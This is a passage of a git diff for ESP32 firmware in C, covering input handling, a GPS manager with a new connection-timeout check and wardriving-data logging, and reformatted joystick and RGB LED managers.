event.type = INPUT_TYPE_TOUCH; - event.data.touch_data.point.x = touch_data.point.x; - event.data.touch_data.point.y = touch_data.point.y; - event.data.touch_data.state = touch_data.state; - - if (xQueueSend(input_queue, &event, pdMS_TO_TICKS(10)) != pdTRUE) { - printf("Failed to send touch input to queue\n"); - } - } - else if (touch_data.state == LV_INDEV_STATE_REL && touch_active) { - touch_active = false; - } - - #ifdef CONFIG_HAS_BATTERY - uint32_t current_timeout = G_Settings.display_timeout_ms; - if ((xTaskGetTickCount() - last_touch_time > pdMS_TO_TICKS(current_timeout) && touch_data.state == LV_INDEV_STATE_REL)) { - ESP_LOGD(TAG, "Display timeout check: last_touch=%lu, timeout=%lu", last_touch_time, current_timeout); - if (!is_backlight_dimmed) { - ESP_LOGI(TAG, "Display timeout reached, dimming backlight"); - set_backlight_brightness(0); - is_backlight_dimmed = true; - } - } - #endif - - #endif - - vTaskDelay(tick_interval); + const TickType_t tick_interval = pdMS_TO_TICKS(10); + + lv_indev_drv_t touch_driver; + lv_indev_data_t touch_data; + uint16_t calData[5] = {339, 3470, 237, 3438, 2}; + bool touch_active = false; + int screen_width = LV_HOR_RES; + int screen_height = LV_VER_RES; + TickType_t last_touch_time = 0; + bool is_backlight_dimmed = false; + + while (1) { +#ifdef CONFIG_USE_CARDPUTER + keyboard_update_key_list(&gkeyboard); + keyboard_update_keys_state(&gkeyboard); + if (gkeyboard.key_list_buffer_len > 0) { + for (size_t i = 0; i < gkeyboard.key_list_buffer_len; ++i) { + Point2D_t key_pos = gkeyboard.key_list_buffer[i]; + uint8_t key_value = keyboard_get_key(&gkeyboard, key_pos); + + if (key_value != 0 && !touch_active) { + touch_active = true; + InputEvent event; + event.type = INPUT_TYPE_JOYSTICK; + + printf("Unhandled key value: %d\n", key_value); + + switch (key_value) { + case 180: + event.data.joystick_index = 1; + break; + case 39: + event.data.joystick_index = 0; + break; + case 158: + event.data.joystick_index = 2; + break; + case 30: + event.data.joystick_index = 3; + break; + case 56: + event.data.joystick_index = 4; + break; + default: + printf("Unhandled key value: %d\n", key_value); + continue; + } + + if (xQueueSend(input_queue, &event, pdMS_TO_TICKS(10)) != pdTRUE) { + printf("Failed to send button input to queue\n"); + } + + vTaskDelay(pdMS_TO_TICKS(300)); + } else if (touch_active) { + touch_active = false; + } + } } +#endif - vTaskDelete(NULL); -} +#ifdef CONFIG_USE_JOYSTICK + for (int i = 0; i < 5; i++) { + if (joysticks[i].pin >= 0) { + if (joystick_just_pressed(&joysticks[i])) { + InputEvent event; + event.type = INPUT_TYPE_JOYSTICK; + event.data.joystick_index = i; + + if (xQueueSend(input_queue, &event, pdMS_TO_TICKS(10)) != pdTRUE) { + printf("Failed to send joystick input to queue\n"); + } + } + } + } +#endif + +#ifdef CONFIG_USE_TOUCHSCREEN + +#ifdef CONFIG_JC3248W535EN_LCD + touch_driver_read_axs15231b(&touch_driver, &touch_data); +#else + touch_driver_read(&touch_driver, &touch_data); +#endif + + if (touch_data.state == LV_INDEV_STATE_PR && !touch_active) { + touch_active = true; + +#ifdef CONFIG_HAS_BATTERY + last_touch_time = xTaskGetTickCount(); + if (is_backlight_dimmed) { + set_backlight_brightness(1); + is_backlight_dimmed = false; + } +#endif -void processEvent() -{ - // do not process events until the display manager is up - if (!display_manager_init_success) - { - return; + InputEvent event; + event.type = INPUT_TYPE_TOUCH; + event.data.touch_data.point.x = touch_data.point.x; + event.data.touch_data.point.y = touch_data.point.y; + event.data.touch_data.state = touch_data.state; + + if (xQueueSend(input_queue, &event, pdMS_TO_TICKS(10)) != pdTRUE) { + printf("Failed to send touch input to queue\n"); + } + } else if (touch_data.state == LV_INDEV_STATE_REL && touch_active) { + touch_active = false; } - InputEvent event; +#ifdef CONFIG_HAS_BATTERY + uint32_t current_timeout = G_Settings.display_timeout_ms; + if ((xTaskGetTickCount() - last_touch_time > + pdMS_TO_TICKS(current_timeout) && + touch_data.state == LV_INDEV_STATE_REL)) { + ESP_LOGD(TAG, "Display timeout check: last_touch=%lu, timeout=%lu", + last_touch_time, current_timeout); + if (!is_backlight_dimmed) { + ESP_LOGI(TAG, "Display timeout reached, dimming backlight"); + set_backlight_brightness(0); + is_backlight_dimmed = true; + } + } +#endif - if (xQueueReceive(input_queue, &event, pdMS_TO_TICKS(10)) == pdTRUE) - { - if (xSemaphoreTake(dm.mutex, pdMS_TO_TICKS(MUTEX_TIMEOUT_MS)) == pdTRUE) { - View *current = dm.current_view; - void (*input_callback)(InputEvent*) = NULL; - const char* view_name = "NULL"; +#endif - if (current) { - view_name = current->name; - input_callback = current->input_callback; - } else { - printf("[WARNING] Current view is NULL in input_processing_task\n"); - } + vTaskDelay(tick_interval); + } - xSemaphoreGive(dm.mutex); + vTaskDelete(NULL); +} - printf("[INFO] Input event type: %d, Current view: %s\n", event.type, view_name); +void processEvent() { + // do not process events until the display manager is up + if (!display_manager_init_success) { + return; + } - if (input_callback) { - input_callback(&event); - } - } + InputEvent event; + + if (xQueueReceive(input_queue, &event, pdMS_TO_TICKS(10)) == pdTRUE) { + if (xSemaphoreTake(dm.mutex, pdMS_TO_TICKS(MUTEX_TIMEOUT_MS)) == pdTRUE) { + View *current = dm.current_view; + void (*input_callback)(InputEvent *) = NULL; + const char *view_name = "NULL"; + + if (current) { + view_name = current->name; + input_callback = current->input_callback; + } else { + printf("[WARNING] Current view is NULL in input_processing_task\n"); + } + + xSemaphoreGive(dm.mutex); + + printf("[INFO] Input event type: %d, Current view: %s\n", event.type, + view_name); + + if (input_callback) { + input_callback(&event); + } } + } } void lvgl_tick_task(void *arg) { - const TickType_t tick_interval = pdMS_TO_TICKS(5); + const TickType_t tick_interval = pdMS_TO_TICKS(10); - int tick_increment; - - if (LV_VER_RES <= 128) { - tick_increment = 3; // For screens 128x128 or smaller - } else if (LV_VER_RES > 240) { - tick_increment = 10; // For screens larger than 240x320 - } else { - tick_increment = 5; // For 240x320 screens - } + int tick_increment; - while (1) - { - processEvent(); + if (LV_VER_RES <= 128) { + tick_increment = 3; // For screens 128x128 or smaller + } else if (LV_VER_RES > 240) { + tick_increment = 10; // For screens larger than 240x320 + } else { + tick_increment = 5; // For 240x320 screens + } - lv_timer_handler(); - lv_tick_inc(tick_increment); - vTaskDelay(tick_interval); - } + while (1) { + processEvent(); + + lv_timer_handler(); + lv_tick_inc(tick_increment); + vTaskDelay(tick_interval); + } - vTaskDelete(NULL); -} \ No newline at end of file + vTaskDelete(NULL); +} diff --git a/main/managers/gps_manager.c b/main/managers/gps_manager.c index 1608ef15..a9c99f57 100644 --- a/main/managers/gps_manager.c +++ b/main/managers/gps_manager.c @@ -1,75 +1,91 @@ -#include -#include -#include #include "managers/gps_manager.h" +#include "core/callbacks.h" +#include "driver/periph_ctrl.h" +#include "driver/uart.h" #include "esp_log.h" +#include "managers/settings_manager.h" +#include "soc/gpio_periph.h" +#include "soc/io_mux_reg.h" +#include "soc/uart_periph.h" #include "sys/time.h" -#include "driver/uart.h" -#include "core/callbacks.h" #include "vendor/GPS/MicroNMEA.h" #include "vendor/GPS/gps_logger.h" -#include "managers/settings_manager.h" #include -#include "soc/uart_periph.h" -#include "driver/periph_ctrl.h" -#include "soc/gpio_periph.h" -#include "soc/io_mux_reg.h" +#include +#include +#include static const char *GPS_TAG = "GPS"; +static bool has_valid_cached_date = false; +static bool gps_connection_logged = false; +static TaskHandle_t gps_check_task_handle = NULL; +static bool gps_timeout_detected = false; +static void check_gps_connection_task(void *pvParameters); nmea_parser_handle_t nmea_hdl; gps_date_t cacheddate = {0}; -static bool has_valid_cached_date = false; -static bool is_valid_date(const gps_date_t* date) { - if (!date) return false; - +static bool is_valid_date(const gps_date_t *date) { + if (!date) + return false; + // Check year (0-99 represents 2000-2099) - if (!gps_is_valid_year(date->year)) return false; - + if (!gps_is_valid_year(date->year)) + return false; + // Check month (1-12) - if (date->month < 1 || date->month > 12) return false; - + if (date->month < 1 || date->month > 12) + return false; + // Check day (1-31 depending on month) uint8_t days_in_month[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; - + // Adjust February for leap years uint16_t absolute_year = gps_get_absolute_year(date->year); - if ((absolute_year % 4 == 0 && absolute_year % 100 != 0) || - (absolute_year % 400 == 0)) { + if ((absolute_year % 4 == 0 && absolute_year % 100 != 0) || (absolute_year % 400 == 0)) { days_in_month[1] = 29; } - - if (date->day < 1 || date->day > days_in_month[date->month - 1]) return false; - + + if (date->day < 1 || date->day > days_in_month[date->month - 1]) + return false; + return true; } -void gps_manager_init(GPSManager* manager) { +void gps_manager_init(GPSManager *manager) { + // If there's an existing check task, delete it + if (gps_check_task_handle != NULL) { + vTaskDelete(gps_check_task_handle); + gps_check_task_handle = NULL; + } + + // Reset connection logged state + gps_connection_logged = false; + nmea_parser_config_t config = NMEA_PARSER_CONFIG_DEFAULT(); uint8_t current_rx_pin = settings_get_gps_rx_pin(&G_Settings); - if (current_rx_pin != 0) { + if (current_rx_pin != 0) { printf("GPS RX: IO%d\n", current_rx_pin); TERMINAL_VIEW_ADD_TEXT("GPS RX: IO%d\n", current_rx_pin); - + // Only disable UART1 which we use for GPS periph_module_disable(PERIPH_UART1_MODULE); - + gpio_reset_pin(current_rx_pin); vTaskDelay(pdMS_TO_TICKS(10)); - + periph_module_enable(PERIPH_UART1_MODULE); - + gpio_set_direction(current_rx_pin, GPIO_MODE_INPUT); gpio_set_pull_mode(current_rx_pin, GPIO_FLOATING); PIN_FUNC_SELECT(GPIO_PIN_MUX_REG[current_rx_pin], UART_PIN_NO_CHANGE); - + config.uart.rx_pin = current_rx_pin; - config.uart.uart_port = UART_NUM_1; // Explicitly set UART1 for GPS + config.uart.uart_port = UART_NUM_1; // Explicitly set UART1 for GPS } - + #ifdef CONFIG_IS_GHOST_BOARD config.uart.rx_pin = 2; #endif @@ -77,42 +93,85 @@ void gps_manager_init(GPSManager* manager) { nmea_hdl = nmea_parser_init(&config); nmea_parser_add_handler(nmea_hdl, gps_event_handler, NULL); manager->isinitilized = true; + + // Create a new check task + xTaskCreate(check_gps_connection_task, "gps_check", 2048, NULL, 1, &gps_check_task_handle); +} + +static void check_gps_connection_task(void *pvParameters) { + const TickType_t timeout = pdMS_TO_TICKS(10000); // 10 second timeout + TickType_t start_time = xTaskGetTickCount(); + + while (xTaskGetTickCount() - start_time < timeout) { + if (!nmea_hdl) { + vTaskDelay(pdMS_TO_TICKS(500)); + continue; + } + + gps_t *gps = &((esp_gps_t *)nmea_hdl)->parent; + + if (!gps) { + vTaskDelay(pdMS_TO_TICKS(500)); + continue; + } + + // Check if we're receiving valid GPS data + if (!gps_connection_logged && + (gps->tim.hour != 0 || gps->tim.minute != 0 || gps->tim.second != 0 || + gps->latitude != 0 || gps->longitude != 0)) { + printf("GPS Module Connected\nReceiving Data\n"); + TERMINAL_VIEW_ADD_TEXT("GPS Module Connected\nReceiving Data\n"); + gps_connection_logged = true; + gps_check_task_handle = NULL; + vTaskDelete(NULL); + return; + } + + vTaskDelay(pdMS_TO_TICKS(500)); + } + + // If we reach here, connection check timed out + printf("GPS Module Connection Timeout\nCheck your connections\n"); + TERMINAL_VIEW_ADD_TEXT("GPS Module Connection Timeout\nCheck your connections\n"); + gps_timeout_detected = true; + gps_check_task_handle = NULL; + vTaskDelete(NULL); } -void gps_manager_deinit(GPSManager* manager) { +void gps_manager_deinit(GPSManager *manager) { if (manager->isinitilized) { + // If there's an existing check task, delete it + if (gps_check_task_handle != NULL) { + vTaskDelete(gps_check_task_handle); + gps_check_task_handle = NULL; + } + nmea_parser_remove_handler(nmea_hdl, gps_event_handler); nmea_parser_deinit(nmea_hdl); manager->isinitilized = false; + gps_connection_logged = false; } } #define GPS_STATUS_MESSAGE "GPS: %s\nSats: %u/%u\nSpeed: %.1f km/h\nAccuracy: %s\n" -#define GPS_UPDATE_INTERVAL 4 // Show status every 4th update (25% chance) +#define GPS_UPDATE_INTERVAL 4 // Show status every 4th update (25% chance) -#define MIN_SPEED_THRESHOLD 0.1 // Minimum 0.1 m/s (~0.36 km/h) -#define MAX_SPEED_THRESHOLD 340.0 // Maximum 340 m/s (~1224 km/h) +#define MIN_SPEED_THRESHOLD 0.1 // Minimum 0.1 m/s (~0.36 km/h) +#define MAX_SPEED_THRESHOLD 340.0 // Maximum 340 m/s (~1224 km/h) -esp_err_t gps_manager_log_wardriving_data(wardriving_data_t* data) { +esp_err_t gps_manager_log_wardriving_data(wardriving_data_t *data) { if (!data || !nmea_hdl) { return ESP_ERR_INVALID_ARG; } - - // Get the GPS data from the parser handle - gps_t* gps = &((esp_gps_t*)nmea_hdl)->parent; - - // For WiFi entries, keep original validation + gps_t *gps = &((esp_gps_t *)nmea_hdl)->parent; if (!data->ble_data.is_ble_device) { if (!gps->valid || strlen(data->ssid) <= 2) { return ESP_ERR_INVALID_ARG; } } else { // For BLE entries, only check GPS validity - if (!gps->valid || - gps->fix < GPS_FIX_GPS || - gps->fix_mode < GPS_MODE_2D || - gps->sats_in_use < 3 || - gps->sats_in_use > GPS_MAX_SATELLITES_IN_USE) { + if (!gps->valid || gps->fix < GPS_FIX_GPS || gps->fix_mode < GPS_MODE_2D || + gps->sats_in_use < 3 || gps->sats_in_use > GPS_MAX_SATELLITES_IN_USE) { return ESP_ERR_INVALID_STATE; } } @@ -123,83 +182,72 @@ esp_err_t gps_manager_log_wardriving_data(wardriving_data_t* data) { ESP_LOGW(GPS_TAG, "No valid GPS date available"); return ESP_ERR_INVALID_STATE; } - + // Only log warning for good GPS fixes - if (gps->valid && - gps->fix >= GPS_FIX_GPS && - gps->fix_mode >= GPS_MODE_2D && - gps->sats_in_use >= 3 && - gps->sats_in_use <= GPS_MAX_SATELLITES_IN_USE && + if (gps->valid && gps->fix >= GPS_FIX_GPS && gps->fix_mode >= GPS_MODE_2D && + gps->sats_in_use >= 3 && gps->sats_in_use <= GPS_MAX_SATELLITES_IN_USE && rand() % 100 == 0) { - ESP_LOGW(GPS_TAG, "Invalid date despite good fix: %04d-%02d-%02d " - "(Fix: %d, Mode: %d, Sats: %d)", - gps_get_absolute_year(gps->date.year), - gps->date.month, gps->date.day, - gps->fix, gps->fix_mode, gps->sats_in_use); + ESP_LOGW(GPS_TAG, + "Invalid date despite good fix: %04d-%02d-%02d " + "(Fix: %d, Mode: %d, Sats: %d)", + gps_get_absolute_year(gps->date.year), gps->date.month, gps->date.day, + gps->fix, gps->fix_mode, gps->sats_in_use); } - + // Use cached date for validation ESP_LOGD(GPS_TAG, "Using cached date: %04d-%02d-%02d", - gps_get_absolute_year(cacheddate.year), - cacheddate.month, - cacheddate.day); + gps_get_absolute_year(cacheddate.year), cacheddate.month, cacheddate.day); } else if (!has_valid_cached_date) { // Valid date - update cache cacheddate = gps->date; has_valid_cached_date = true; ESP_LOGI(GPS_TAG, "Cached valid GPS date: %04d-%02d-%02d", - gps_get_absolute_year(cacheddate.year), - cacheddate.month, - cacheddate.day); + gps_get_absolute_year(cacheddate.year), cacheddate.month, cacheddate.day); } data->latitude = gps->latitude; data->longitude = gps->longitude; data->altitude = gps->altitude; data->accuracy = gps->dop_h * 5.0; - + // First, validate the current GPS date if (!is_valid_date(&gps->date)) { // Only show warning if we have a truly valid fix - if (gps->valid && - gps->fix >= GPS_FIX_GPS && - gps->fix_mode >= GPS_MODE_2D && - gps->sats_in_use >= 3 && + if (gps->valid && gps->fix >= GPS_FIX_GPS && gps->fix_mode >= GPS_MODE_2D && + gps->sats_in_use >= 3 && gps->sats_in_use <= GPS_MAX_SATELLITES_IN_USE && // Should be ≤ 12 rand() % 100 == 0) { printf("Warning: GPS date is out of range despite good fix: %04d-%02d-%02d " "(Fix: %d, Mode: %d, Sats: %d)\n", - gps_get_absolute_year(gps->date.year), - gps->date.month, gps->date.day, - gps->fix, gps->fix_mode, gps->sats_in_use); + gps_get_absolute_year(gps->date.year), gps->date.month, gps->date.day, gps->fix, + gps->fix_mode, gps->sats_in_use); } return ESP_OK; } - // Then, only if we don't have a cached date and the current date is valid, cache it + // Then, only if we don't have a cached date and the current date is valid, + // cache it if (cacheddate.year <= 0) { cacheddate = gps->date; } if (gps->tim.hour > 23 || gps->tim.minute > 59 || gps->tim.second > 59) { if (rand() % 20 == 0) { - printf("Warning: GPS time is invalid: %02d:%02d:%02d\n", - gps->tim.hour, gps->tim.minute, gps->tim.second); + printf("Warning: GPS time is invalid: %02d:%02d:%02d\n", gps->tim.hour, gps->tim.minute, + gps->tim.second); } return ESP_OK; } - - if (gps->latitude < -90.0 || gps->latitude > 90.0 || - gps->longitude < -180.0 || gps->longitude > 180.0) { + if (gps->latitude < -90.0 || gps->latitude > 90.0 || gps->longitude < -180.0 || + gps->longitude > 180.0) { if (rand() % 20 == 0) { - printf("GPS Error: Invalid location detected (Lat: %f, Lon: %f)\n", - gps->latitude, gps->longitude); + printf("GPS Error: Invalid location detected (Lat: %f, Lon: %f)\n", gps->latitude, + gps->longitude); } return ESP_OK; } - if (gps->speed < 0.0 || gps->speed > 340.0) { if (rand() % 20 == 0) { printf("Warning: GPS speed is out of range: %f m/s\n", gps->speed); @@ -207,12 +255,12 @@ esp_err_t gps_manager_log_wardriving_data(wardriving_data_t* data) { return ESP_OK; } - - if (gps->dop_h < 0.0 || gps->dop_p < 0.0 || gps->dop_v < 0.0 || - gps->dop_h > 50.0 || gps->dop_p > 50.0 || gps->dop_v > 50.0) { + if (gps->dop_h < 0.0 || gps->dop_p < 0.0 || gps->dop_v < 0.0 || gps->dop_h > 50.0 || + gps->dop_p > 50.0 || gps->dop_v > 50.0) { if (rand() % 20 == 0) { - printf("Warning: GPS DOP values are out of range: HDOP: %f, PDOP: %f, VDOP: %f\n", - gps->dop_h, gps->dop_p, gps->dop_v); + printf("Warning: GPS DOP values are out of range: HDOP: %f, PDOP: %f, " + "VDOP: %f\n", + gps->dop_h, gps->dop_p, gps->dop_v); } return ESP_OK; } @@ -226,67 +274,46 @@ esp_err_t gps_manager_log_wardriving_data(wardriving_data_t* data) { // Update display periodically if (rand() % GPS_UPDATE_INTERVAL == 0) { // Determine GPS fix status - char fix_status[10]; - if (!gps->valid || gps->fix == GPS_FIX_INVALID) { - strcpy(fix_status, "No Fix"); - } else if (gps->fix_mode == GPS_MODE_2D) { - strcpy(fix_status, "Basic"); - } else if (gps->fix_mode == GPS_MODE_3D) { - strcpy(fix_status, "Locked"); - } else { - strcpy(fix_status, "Unknown"); - } + const char *fix_status = (!gps->valid || gps->fix == GPS_FIX_INVALID) ? "No Fix" + : (gps->fix_mode == GPS_MODE_2D) ? "Basic" + : (gps->fix_mode == GPS_MODE_3D) ? "Locked" + : "Unknown"; - // Validate satellite counts - uint8_t sats_in_use = gps->sats_in_use; - - // Ensure count is non-negative and within limits - if (sats_in_use > GPS_MAX_SATELLITES_IN_USE || sats_in_use < 0) { - sats_in_use = 0; - } + // Validate satellite counts (clamp between 0 and max) + uint8_t sats_in_use = (gps->sats_in_use > GPS_MAX_SATELLITES_IN_USE) ? 0 : gps->sats_in_use; // Determine accuracy based on HDOP - char accuracy[10]; - if (gps->dop_h < 0.0 || gps->dop_h > 50.0) { - strcpy(accuracy, "Invalid"); - } else if (gps->dop_h <= 1.0) { - strcpy(accuracy, "Perfect"); - } else if (gps->dop_h <= 2.0) { - strcpy(accuracy, "High"); - } else if (gps->dop_h <= 5.0) { - strcpy(accuracy, "Good"); - } else if (gps->dop_h <= 10.0) { - strcpy(accuracy, "Okay"); - } else { - strcpy(accuracy, "Poor"); - } + const char *accuracy = (gps->dop_h < 0.0 || gps->dop_h > 50.0) ? "Invalid" + : (gps->dop_h <= 1.0) ? "Perfect" + : (gps->dop_h <= 2.0) ? "High" + : (gps->dop_h <= 5.0) ? "Good" + : (gps->dop_h <= 10.0) ? "Okay" + : "Poor"; // Convert speed from m/s to km/h for display with validation float speed_kmh = 0.0; - if (gps->valid && gps->fix >= GPS_FIX_GPS) { // Only trust speed with a valid fix + if (gps->valid && gps->fix >= GPS_FIX_GPS) { // Only trust speed with a valid fix if (gps->speed >= MIN_SPEED_THRESHOLD && gps->speed <= MAX_SPEED_THRESHOLD) { - speed_kmh = gps->speed * 3.6; // Convert m/s to km/h + speed_kmh = gps->speed * 3.6; // Convert m/s to km/h } else if (gps->speed < MIN_SPEED_THRESHOLD && gps->speed >= 0.0) { - speed_kmh = 0.0; // Show as stopped if below threshold but not negative + speed_kmh = 0.0; // Show as stopped if below threshold but not negative } // Speeds above MAX_SPEED_THRESHOLD remain at 0.0 } // Add newline before status update for better readability printf("\n"); - printf(GPS_STATUS_MESSAGE, - fix_status, - data->gps_quality.satellites_used, - GPS_MAX_SATELLITES_IN_USE, - data->gps_quality.speed * 3.6, // Convert m/s to km/h - get_gps_quality_string(data)); // Only keep the arguments that match the format string - TERMINAL_VIEW_ADD_TEXT(GPS_STATUS_MESSAGE, - fix_status, - data->gps_quality.satellites_used, - GPS_MAX_SATELLITES_IN_USE, - data->gps_quality.speed * 3.6, - get_gps_quality_string(data)); + printf( + GPS_STATUS_MESSAGE, fix_status, data->gps_quality.satellites_used, + GPS_MAX_SATELLITES_IN_USE, + data->gps_quality.speed * 3.6, // Convert m/s to km/h + get_gps_quality_string(data)); // Only keep the arguments that match the format string + TERMINAL_VIEW_ADD_TEXT(GPS_STATUS_MESSAGE, fix_status, data->gps_quality.satellites_used, + GPS_MAX_SATELLITES_IN_USE, data->gps_quality.speed * 3.6, + get_gps_quality_string(data)); } return ret; -} \ No newline at end of file +} + +bool gps_is_timeout_detected(void) { return gps_timeout_detected; } \ No newline at end of file diff --git a/main/managers/joystick_manager.c b/main/managers/joystick_manager.c index 8de9437b..d157e43d 100644 --- a/main/managers/joystick_manager.c +++ b/main/managers/joystick_manager.c @@ -1,71 +1,71 @@ #include "managers/joystick_manager.h" +#include "esp_timer.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" -#include "esp_timer.h" -void joystick_init(joystick_t *joystick, int pin, uint32_t hold_lim, bool pullup) { - joystick->pin = pin; - joystick->pullup = pullup; - joystick->pressed = false; - joystick->hold_lim = hold_lim; - joystick->cur_hold = 0; - joystick->isheld = false; - joystick->hold_init = 0; +void joystick_init(joystick_t *joystick, int pin, uint32_t hold_lim, + bool pullup) { + joystick->pin = pin; + joystick->pullup = pullup; + joystick->pressed = false; + joystick->hold_lim = hold_lim; + joystick->cur_hold = 0; + joystick->isheld = false; + joystick->hold_init = 0; - gpio_config_t io_conf = { - .pin_bit_mask = (1ULL << pin), - .mode = GPIO_MODE_INPUT, - .pull_up_en = pullup ? GPIO_PULLUP_ENABLE : GPIO_PULLUP_DISABLE, - .pull_down_en = pullup ? GPIO_PULLDOWN_DISABLE : GPIO_PULLDOWN_ENABLE, - .intr_type = GPIO_INTR_DISABLE - }; + gpio_config_t io_conf = { + .pin_bit_mask = (1ULL << pin), + .mode = GPIO_MODE_INPUT, + .pull_up_en = pullup ? GPIO_PULLUP_ENABLE : GPIO_PULLUP_DISABLE, + .pull_down_en = pullup ? GPIO_PULLDOWN_DISABLE : GPIO_PULLDOWN_ENABLE, + .intr_type = GPIO_INTR_DISABLE}; - gpio_config(&io_conf); + gpio_config(&io_conf); } -bool joystick_is_held(joystick_t *joystick) { - return joystick->isheld; -} +bool joystick_is_held(joystick_t *joystick) { return joystick->isheld; } bool joystick_get_button_state(joystick_t *joystick) { - int button_state = gpio_get_level(joystick->pin); + int button_state = gpio_get_level(joystick->pin); - if ((joystick->pullup && button_state == 0) || (!joystick->pullup && button_state == 1)) { - return true; - } - return false; + if ((joystick->pullup && button_state == 0) || + (!joystick->pullup && button_state == 1)) { + return true; + } + return false; } bool joystick_just_pressed(joystick_t *joystick) { - bool btn_state = joystick_get_button_state(joystick); + bool btn_state = joystick_get_button_state(joystick); - if (btn_state && !joystick->pressed) { - joystick->hold_init = esp_timer_get_time() / 1000; // Get time in milliseconds - joystick->pressed = true; - return true; - } else if (btn_state) { - uint32_t elapsed = (esp_timer_get_time() / 1000) - joystick->hold_init; - if (elapsed < joystick->hold_lim) { - joystick->isheld = false; - } else { - joystick->isheld = true; - } - return false; + if (btn_state && !joystick->pressed) { + joystick->hold_init = + esp_timer_get_time() / 1000; // Get time in milliseconds + joystick->pressed = true; + return true; + } else if (btn_state) { + uint32_t elapsed = (esp_timer_get_time() / 1000) - joystick->hold_init; + if (elapsed < joystick->hold_lim) { + joystick->isheld = false; } else { - joystick->pressed = false; - joystick->isheld = false; - return false; + joystick->isheld = true; } + return false; + } else { + joystick->pressed = false; + joystick->isheld = false; + return false; + } } bool joystick_just_released(joystick_t *joystick) { - bool btn_state = joystick_get_button_state(joystick); + bool btn_state = joystick_get_button_state(joystick); - if (!btn_state && joystick->pressed) { - joystick->isheld = false; - joystick->pressed = false; - return true; - } else { - return false; - } + if (!btn_state && joystick->pressed) { + joystick->isheld = false; + joystick->pressed = false; + return true; + } else { + return false; + } } \ No newline at end of file diff --git a/main/managers/rgb_manager.c b/main/managers/rgb_manager.c index a26197bd..9e45cc55 100644 --- a/main/managers/rgb_manager.c +++ b/main/managers/rgb_manager.c @@ -1,525 +1,535 @@ #include "managers/rgb_manager.h" -#include "esp_log.h" -#include #include "driver/ledc.h" -#include "managers/settings_manager.h" +#include "esp_log.h" #include "freertos/task.h" +#include "managers/settings_manager.h" +#include -static const char* TAG = "RGBManager"; +static const char *TAG = "RGBManager"; typedef struct { - double r; // ∈ [0, 1] - double g; // ∈ [0, 1] - double b; // ∈ [0, 1] + double r; // ∈ [0, 1] + double g; // ∈ [0, 1] + double b; // ∈ [0, 1] } rgb; typedef struct { - double h; // ∈ [0, 360] - double s; // ∈ [0, 1] - double v; // ∈ [0, 1] + double h; // ∈ [0, 360] + double s; // ∈ [0, 1] + double v; // ∈ [0, 1] } hsv; -#define LEDC_TIMER LEDC_TIMER_0 -#define LEDC_MODE LEDC_LOW_SPEED_MODE -#define LEDC_CHANNEL_RED LEDC_CHANNEL_0 -#define LEDC_CHANNEL_GREEN LEDC_CHANNEL_1 -#define LEDC_CHANNEL_BLUE LEDC_CHANNEL_2 -#define LEDC_DUTY_RES LEDC_TIMER_8_BIT // 8-bit resolution (0-255) -#define LEDC_FREQUENCY 10000 // 10 kHz PWM frequency - +#define LEDC_TIMER LEDC_TIMER_0 +#define LEDC_MODE LEDC_LOW_SPEED_MODE +#define LEDC_CHANNEL_RED LEDC_CHANNEL_0 +#define LEDC_CHANNEL_GREEN LEDC_CHANNEL_1 +#define LEDC_CHANNEL_BLUE LEDC_CHANNEL_2 +#define LEDC_DUTY_RES LEDC_TIMER_8_BIT // 8-bit resolution (0-255) +#define LEDC_FREQUENCY 10000 // 10 kHz PWM frequency void calculate_matrix_dimensions(int total_leds, int *rows, int *cols) { - int side = (int)sqrt(total_leds); - - if (side * side == total_leds) { - *rows = side; - *cols = side; - } else { - for (int i = side; i > 0; i--) { - if (total_leds % i == 0) { - *rows = i; - *cols = total_leds / i; - return; - } - } + int side = (int)sqrt(total_leds); + + if (side * side == total_leds) { + *rows = side; + *cols = side; + } else { + for (int i = side; i > 0; i--) { + if (total_leds % i == 0) { + *rows = i; + *cols = total_leds / i; + return; + } } + } } - rgb hsv2rgb(hsv HSV) { - rgb RGB; - double H = HSV.h, S = HSV.s, V = HSV.v; - double P, Q, T, fract; - - // Ensure hue is wrapped between 0 and 360 - H = fmod(H, 360.0); - if (H < 0) H += 360.0; - - // Convert hue to a 0-6 range for RGB segment - H /= 60.0; - fract = H - floor(H); - - P = V * (1.0 - S); - Q = V * (1.0 - S * fract); - T = V * (1.0 - S * (1.0 - fract)); - - if (H < 1.0) { - RGB = (rgb){.r = V, .g = T, .b = P}; - } else if (H < 2.0) { - RGB = (rgb){.r = Q, .g = V, .b = P}; - } else if (H < 3.0) { - RGB = (rgb){.r = P, .g = V, .b = T}; - } else if (H < 4.0) { - RGB = (rgb){.r = P, .g = Q, .b = V}; - } else if (H < 5.0) { - RGB = (rgb){.r = T, .g = P, .b = V}; - } else { - RGB = (rgb){.r = V, .g = P, .b = Q}; - } - - return RGB; + rgb RGB; + double H = HSV.h, S = HSV.s, V = HSV.v; + double P, Q, T, fract; + + // Ensure hue is wrapped between 0 and 360 + H = fmod(H, 360.0); + if (H < 0) + H += 360.0; + + // Convert hue to a 0-6 range for RGB segment + H /= 60.0; + fract = H - floor(H); + + P = V * (1.0 - S); + Q = V * (1.0 - S * fract); + T = V * (1.0 - S * (1.0 - fract)); + + if (H < 1.0) { + RGB = (rgb){.r = V, .g = T, .b = P}; + } else if (H < 2.0) { + RGB = (rgb){.r = Q, .g = V, .b = P}; + } else if (H < 3.0) { + RGB = (rgb){.r = P, .g = V, .b = T}; + } else if (H < 4.0) { + RGB = (rgb){.r = P, .g = Q, .b = V}; + } else if (H < 5.0) { + RGB = (rgb){.r = T, .g = P, .b = V}; + } else { + RGB = (rgb){.r = V, .g = P, .b = Q}; + } + + return RGB; } +void rainbow_task(void *pvParameter) { + RGBManager_t *rgb_manager = (RGBManager_t *)pvParameter; -void rainbow_task(void* pvParameter) -{ - RGBManager_t* rgb_manager = (RGBManager_t*) pvParameter; - - while (1) { + while (1) { - if (rgb_manager->num_leds > 1) - { - rgb_manager_rainbow_effect_matrix(rgb_manager, settings_get_rgb_speed(&G_Settings)); - } - else - { - rgb_manager_rainbow_effect(rgb_manager, settings_get_rgb_speed(&G_Settings)); - } - - vTaskDelay(pdMS_TO_TICKS(20)); + if (rgb_manager->num_leds > 1) { + rgb_manager_rainbow_effect_matrix(rgb_manager, + settings_get_rgb_speed(&G_Settings)); + } else { + rgb_manager_rainbow_effect(rgb_manager, + settings_get_rgb_speed(&G_Settings)); } - vTaskDelete(NULL); -} -void police_task(void *pvParameter) -{ - RGBManager_t* rgb_manager = (RGBManager_t*) pvParameter; - while (1) { - - 